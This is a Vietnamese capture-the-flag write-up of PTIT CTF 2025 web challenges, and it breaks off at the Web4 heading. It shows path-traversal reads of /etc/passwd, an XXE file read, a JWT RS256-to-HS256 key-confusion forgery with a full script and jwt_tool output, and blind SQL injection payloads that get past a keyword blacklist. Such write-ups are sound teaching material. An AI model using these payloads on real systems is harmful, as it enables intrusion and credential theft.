## Web1 (Eassy) Trang web ![image](https://hackmd.io/_uploads/SkvIe2YFge.png) Đăng ký đăng nhập vào hệ thống ![image](https://hackmd.io/_uploads/rklFql2ttlx.png) Bài này có 1 chức năng upload file và sau khi ta upload file ta có thể tải file upload về với tham số truyền vào là filename ![image](https://hackmd.io/_uploads/SkhJWhtFll.png) ![image](https://hackmd.io/_uploads/By6MZ3tFgg.png) Ta thử /etc/passwd cho tham số filename thì trả về nội dung của file . ![image](https://hackmd.io/_uploads/HymVZ2YYee.png) Ta thấy được file flag nằm trong file /proc/self/environ ![image](https://hackmd.io/_uploads/BJTAG3Ytxg.png) Note : Nhưng ở đây trong quá trình fuzzing bằng intruder ta không tìm đọc được nội dung file /proc/self/environ ![image](https://hackmd.io/_uploads/BJWO62Ftle.png) Ta đọc file flag tìm được cờ ![image](https://hackmd.io/_uploads/ByZ-XntFgl.png) ## Web5 (Eassy) Ta truy cập vào 1 trang web trả về 404 và không có thêm thông tin tìm được trên trang web ![image](https://hackmd.io/_uploads/rkyoRsdKll.png) Bài này có source code ta bắt đầu phân tích source code Dựa vào 2 file này ta sẽ có được các route của trang web ![image](https://hackmd.io/_uploads/HyTtV8KFge.png) ![image](https://hackmd.io/_uploads/Hk0DNUFFee.png) Trong quá trình tìm hiểu web chạy ta đi qua các route và khi ta truy cập và route /api/scoreboard thì cờ hiện ra ![image](https://hackmd.io/_uploads/BJRv12OFxx.png) ## Web3 (Medium) ![image](https://hackmd.io/_uploads/By05r2tYex.png) Ta có trang web có mã nguồn sau ``` <script> document.getElementById('quizForm').addEventListener('submit', function(e) { e.preventDefault(); const selectedRadio = document.querySelector('input[name="answer"]:checked'); if (selectedRadio) { const answerKey = selectedRadio.value; const questionText = "PTIT CTF 2025 có thật sự hấp dẫn?"; const data = { "question_text": questionText, "answer": answerKey }; fetch('/submit_answer', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }) .then(response => response.text()) .then(data => { alert('Ohsshitttt: ' + data); }) .catch(error => { console.error('LỖI KẾT NỐI:', error); alert('LỖI KẾT NỐI: Không thể truy cập SERVER!'); }); } else { alert('CHỌN ĐÁP ÁN ĐỂ TIẾP TỤC TRUY VẤN DỮ LIỆU!'); } }); ``` ![image](https://hackmd.io/_uploads/HJfpX2FYel.png) Khi tả gửi dữ liệu tới /submit_answer dưới dạng json và tải lại trang để gửi lần 2 thì sẽ có gợi ý là chỉ chấp nhận application/json và application/xml ![image](https://hackmd.io/_uploads/ByHy43tKxg.png) Ta nghĩ tới ý tưởng chuyển dạng json về xml và thử lỗ hổng XXE và thành công đọc được file /etc/passwd ![image](https://hackmd.io/_uploads/SkDQS3FKex.png) Sau khi nhiều lần đọc các file ta tìm ra file flag được chú trích trong file /app/app.py . Giải này giấu flag sâu ác ![image](https://hackmd.io/_uploads/H1ArrnKtxx.png) Đọc file flag ![image](https://hackmd.io/_uploads/ByZdH2FKee.png) ## Web2 (Medium) ![image](https://hackmd.io/_uploads/Sk_S73FKle.png) Ta có thể đăng ký tài khoản hay dùng luôn user=admin và pass=admin để đăng nhập vào trang web . Truy cập trang web có gợi ý là `chỉ có admin mới có thể truy cập vào đường dẫn /admin` . ![image](https://hackmd.io/_uploads/SJWDXntKxx.png) Và trong cookie có token có giá trị ``` eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NTU5Mjc5MzN9.SrUGp8rY6z5iSpCbeE6S7xWCWH5HhWEPcKMoA6qe4GCa-NqOJxiZySRd6-f0tZdf4McoC9VhbM0p8417RaOeOJsDmBNYIWOpzkbU3nD5UWEork9YjYDwxQJc38GNy7rX7aJlp5o6FqtuV-Pmu8szrsGe43I0w9HSr5oS9mrtPHFWrzU0sLBMLktuvSCx3Wz1IWB3GNxHfSDYNsfbB0gpd4vKOL1k31BvXkcWzYZxHrt4WPI7bV69DHFGEIhgJ1UDhfLy5hlTsxogyF0MovOSkO13LTw3Ec0nn6bkXRsF1uvnk_NIn_DbHOW2PHp31rVZ2D5spFeYlWFhIoURaVPH-A ``` ![image](https://hackmd.io/_uploads/rykOtUKtgl.png) Ta quét các file thư mục ẩn thấy file jwks public bị lộ ![image](https://hackmd.io/_uploads/Hy9aeA8Flg.png) **Ý tưởng chính là lỗ hổng jwt và nâng quyền người dùng từ user lên admin** Ta có ý tưởng về case : JWT RS256 → HS256 key confusion Đổi thuật toán từ RS256 -> HS256 Sử dụng public key làm secret ký lại Tạo file public.pem ``` ┌──(root㉿lyquockhanh)-[~/Web/jwt_tool] └─# cat jwks_to_pem.py import json, base64 from Crypto.PublicKey import RSA jwks = { "keys": [ { "alg": "RS256", "e": "AQAB", "kid": "PTIT-CTF", "kty": "RSA", "n": "zf1c1FAyg0btbcnxfuQzTQMqpi7RaZ78KQYLT69DgM9lJ6AfkhqUpuLCwK4NL0emQgbj2CkVGvTQKyejhCqQE9RagMgFFl2o2kpJpEIfab08XB0tqJn-q770xUgUQPA1h9PlD2SnHmorVNwOKcKGSj862CryvS2b7Xf3BkKCt_75AlbUGGTS9RumrZIeQYfyVfTERuRtaus3Et2KWwRA_DCAg19k3YGcs2dKqzUZwL-OqogA5PobjrEzlmVuWpe5bIuzW1mP_lkdaEWwJxF2yAZBF_aQlAVYSLMAW3Z2stU3cwLtCb2M2sJOMmn6cG6cBEr3Yw2lgiiQNGne3WJSOw", "use": "sig" } ] } # lấy modulus và exponent n_b64 = jwks["keys"][0]["n"] e_b64 = jwks["keys"][0]["e"] n = int.from_bytes(base64.urlsafe_b64decode(n_b64 + "=="), "big") e = int.from_bytes(base64.urlsafe_b64decode(e_b64 + "=="), "big") # tạo RSA key object key = RSA.construct((n, e)) # export ra PEM pub_pem = key.export_key() print(pub_pem.decode()) ┌──(root㉿lyquockhanh)-[~/Web/jwt_tool] └─# python3 jwks_to_pem.py > public.pem ``` Ký lại tạo ra chữ ký số mới ``` ┌──(root㉿lyquockhanh)-[~/Web/jwt_tool] └─# python3 jwt_tool.py 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NTU5Mjc5MzN9.SrUGp8rY6z5iSpCbeE6S7xWCWH5HhWEPcKMoA6qe4GCa-NqOJxiZySRd6-f0tZdf4McoC9VhbM0p8417RaOeOJsDmBNYIWOpzkbU3nD5UWEork9YjYDwxQJc38GNy7rX7aJlp5o6FqtuV-Pmu8szrsGe43I0w9HSr5oS9mrtPHFWrzU0sLBMLktuvSCx3Wz1IWB3GNxHfSDYNsfbB0gpd4vKOL1k31BvXkcWzYZxHrt4WPI7bV69DHFGEIhgJ1UDhfLy5hlTsxogyF0MovOSkO13LTw3Ec0nn6bkXRsF1uvnk_NIn_DbHOW2PHp31rVZ2D5spFeYlWFhIoURaVPH-A' -X k -pk public.pem -I -pc role -pv admin \ \ \ \ \ \ \__ | | \ |\__ __| \__ __| | | | \ | | | \ \ | | \ | | | __ \ __ \ | \ | _ | | | | | | | | | | / \ | | | | | | | | \ | / \ | | |\ |\ | | \______/ \__/ \__| \__| \__| \______/ \______/ \__| Version 2.3.0 \______| @ticarpi /root/.jwt_tool/jwtconf.ini Original JWT: File loaded: public.pem jwttool_188c0d1537a1e61741c38ba70440e2f2 - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret) (This will only be valid on unpatched implementations of JWT.) [+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzU1OTI3OTMzfQ.RFnTyfM6vRtbKxV-kRIR7sTKC1m-ZJ_jtBEA2U2OBuY ┌──(root㉿lyquockhanh)-[~/Web/jwt_tool] └─# ``` Thay vào token ![image](https://hackmd.io/_uploads/SkZsR6IKxx.png) ## Web0 (Hard) Trang web ![image](https://hackmd.io/_uploads/BkFagpuKlg.png) Ta có source code ``` <?php error_reporting(0); include("db.php"); function check($input){ $forbid = "0x|0b|limit|glob|php|load|inject|month|day|now|collationlike|regexp|limit|_|information|schema|char|sin|cos|asin|procedure|trim|pad|make|mid"; $forbid .= "substr|compress|where|code|replace|conv|insert|right|left|cast|ascii|x|hex|version|data|load_file|out|gcc|locate|count|reverse|b|y|z|--"; if (preg_match("/$forbid/i", $input) or preg_match('/\s/', $input) or preg_match('/[\/\\\\]/', $input) or preg_match('/(--|#|\/\*)/', $input)) { die('forbidden'); } } $user=$_GET['user']; $pass=$_GET['pass']; check($user);check($pass); $sql = @mysqli_fetch_assoc(mysqli_query($db,"SELECT * FROM users WHERE username='{$user}' AND password='{$pass}';")); if($sql['username']){ echo 'welcome \o/'; die(); } else{ echo 'wrong !'; die(); } ?> ``` Ta có phương thức GET / truyền vào 2 tham số user và pass . Hai tham số đi hàm check() để lọc và được truyền thẳng vào câu lệnh sql mà không sử dụng `?` . Nếu đúng trả về `welcome \o/` sai trả về `wrong !` gặp phải ký tự trong blacklist trả về `forbidden` Đọc source code ta nhận ra đây là một bài `blind boolean sql injection + black list` Thử ký tự `'` thì trang web sẽ trắng tin -> Lỗi 500 thì trang web k trả về gì ![image](https://hackmd.io/_uploads/HkaYTLYtlg.png) Source code đang chặn phần comment `preg_match('/(--|#|\/\*)/', $input))` Ta bypass bằng cách sử dụng `;%00` Với payload `/?user=khanh'or'1'='1';%00&pass=khanh` trả về giá trị `True` thì website sẽ trả về `welcome \o/` ![image](https://hackmd.io/_uploads/BkQon8KFxl.png) Với payload `/?user=khanh'or'1'='2';%00&pass=khanh` trả về giá trị `False` thì website sẽ trả về `wrong !` Sau khi thử các payload để nghiên cứu cách bypass blaclist ``` function check($input){ $forbid = "0x|0b|limit|glob|php|load|inject|month|day|now|collationlike|regexp|limit|_|information|schema|char|sin|cos|asin|procedure|trim|pad|make|mid"; $forbid .= "substr|compress|where|code|replace|conv|insert|right|left|cast|ascii|x|hex|version|data|load_file|out|gcc|locate|count|reverse|b|y|z|--"; if (preg_match("/$forbid/i", $input) or preg_match('/\s/', $input) or preg_match('/[\/\\\\]/', $input) or preg_match('/(--|#|\/\*)/', $input)) { die('forbidden'); } } ``` ta sử dụng các hàm sau để bypass Với chặn phần comment `preg_match('/(--|#|\/\*)/', $input))` -> Ta bypass bằng cách sử dụng `;%00` Với chặn khoảng trắng `preg_match('/\s/', $input)` và `0x|0b` và chặn các ký thuật bypass khoảng trắng bằng comment `preg_match('/(--|#|\/\*)/', $input)` -> Ta bypass bằng sử dụng `()` Ta bypass việc bị chặn `substr` -> sử dụng hàm `like` để thay thế `substring` *Ở đây `like` chưa thật sự tối ưu khi ta trích xuất các ký tự đi sâu vào bài toán ở phía sau sẽ nói chi tiết và có cách thay thế * ### Ý tương 1 : Ban đầu tôi nghĩ flag sẽ nằm trong các trường `username` và `password` của bảng users Ta sử dụng câu lệnh `khanh'or(elt(1,username)like'ptitctf%');%00` kiểm tra xem có tồn tại cờ trong trường username không -> Kết quả trả về `wrong` không chứa trong trường username ![image](https://hackmd.io/_uploads/HyDr8nYYxx.png) Ta sử dụng câu lệnh `khanh'or(elt(1,password)like'ptitctf%');%00` kiểm tra xem có tồn tại cờ trong trường username không -> Kết quả trả về `wrong` không chứa trong trường password ![image](https://hackmd.io/_uploads/r1aP8hFFel.png) ##### Phần này tôi cố trích xuất chi tiết nội dung của username và password trong bảng users Ở đây ban đầu khi tôi test đúng sai cũng biết đến sự tôn tại của `username =admin` hoặc ta sử dụng câu lệnh ``` khanh'or(elt(1,username)like'a%');%00 ``` Ta thay giá trị `a` với lần lượt các giá trị từ a-zA-Z0-9 và ký tự đặc biệt . Ta thu được các tài khoản `admin` , `guest` , `alice` Ta sử dụng với sử dụng payload `admin'and(elt(1,password)like'a%');%00` để trích xuất mật khẩu của admin ta thu được `n0t%flag%%` (Ở đây chưa lấy được hết các giá trị do ta vướng các ký tự `x,y,z,b,_` đang bị chặn) ![image](https://hackmd.io/_uploads/S1zI4wtKeg.png) Ta sử dụng với sử dụng payload `guest'and(elt(1,password)like'a%');%00` để trích xuất mật khẩu của admin ta thu được `guest` ![image](https://hackmd.io/_uploads/r13A8hYKxl.png) Ta sử dụng với sử dụng payload `alice'and(elt(1,password)like'a%');%00` để trích xuất mật khẩu của admin ta thu được `wonderland` ![image](https://hackmd.io/_uploads/S1GnVPFKxg.png) Ta thu được chi tiết username và password nhưng thật sử không dùng làm gì cho bài này :) ### Ý tương 2 : flag nằm ngoài bảng users nằm trong bảng khác . Ta đoán bảng , tôi đoán bảng là `flag` và chứng minh nó tồn tại ``` admin'and(elt(1,(SELECT(id)FROM(flag)))like'ptitctf%');%00 ``` ![image](https://hackmd.io/_uploads/ryi6whFYxe.png) Kết quả không nó trả về `wrong` mà không trả về 500(trắng tinh) -> Tồn tại bảng flag Tiếp tục kiểm tra sự tồn tại của trường flag ``` admin'and(elt(1,(SELECT(flag)FROM(flag)))like'PTITCTF');%00 ``` Kết quả trả về `welcome \o/` -> Tồn tải trường flag và flag nằm trong trường đó :) ![image](https://hackmd.io/_uploads/SkqqP2tYxg.png) Nhưng ở đây trong quá trình ta trích xuất từng giá trị của flag có thể sẽ gặp các ký tự `_,b,x,y,z` và các ký tự này bị chặn nên câu lệnh truy vấn sẽ trả về `forbiden` -> Khó khăn trong trích xuất Trong LIKE có sử dụng `_` để đại diện cho một ký tự nhưng trong bài này ký tự `_` đã bị chặn **Thay thế `LIKE` bằng `RLIKE`** `RLIKE` sẽ sử dụng `.` để đại diện cho một ký tự . Ta sử dụng dấu chấm `.` để đại diện cho ký tự bị block để tiếp tục trích xuất các ký từ đằng sau . ``` admin'and(elt(1,(SELECT(flag)FROM(flag)))rlike'^ptitctf');%00 ``` ![image](https://hackmd.io/_uploads/rJtkSdFFgx.png) Kết quả ta thu được `ptitctf{n0.w4f.c4n.st0p.m3}` Dựa vào định dạng hay gặp ta có flag là `PTIT{n0_w4f_c4n_st0p_m3}` ## Web4 (Hard)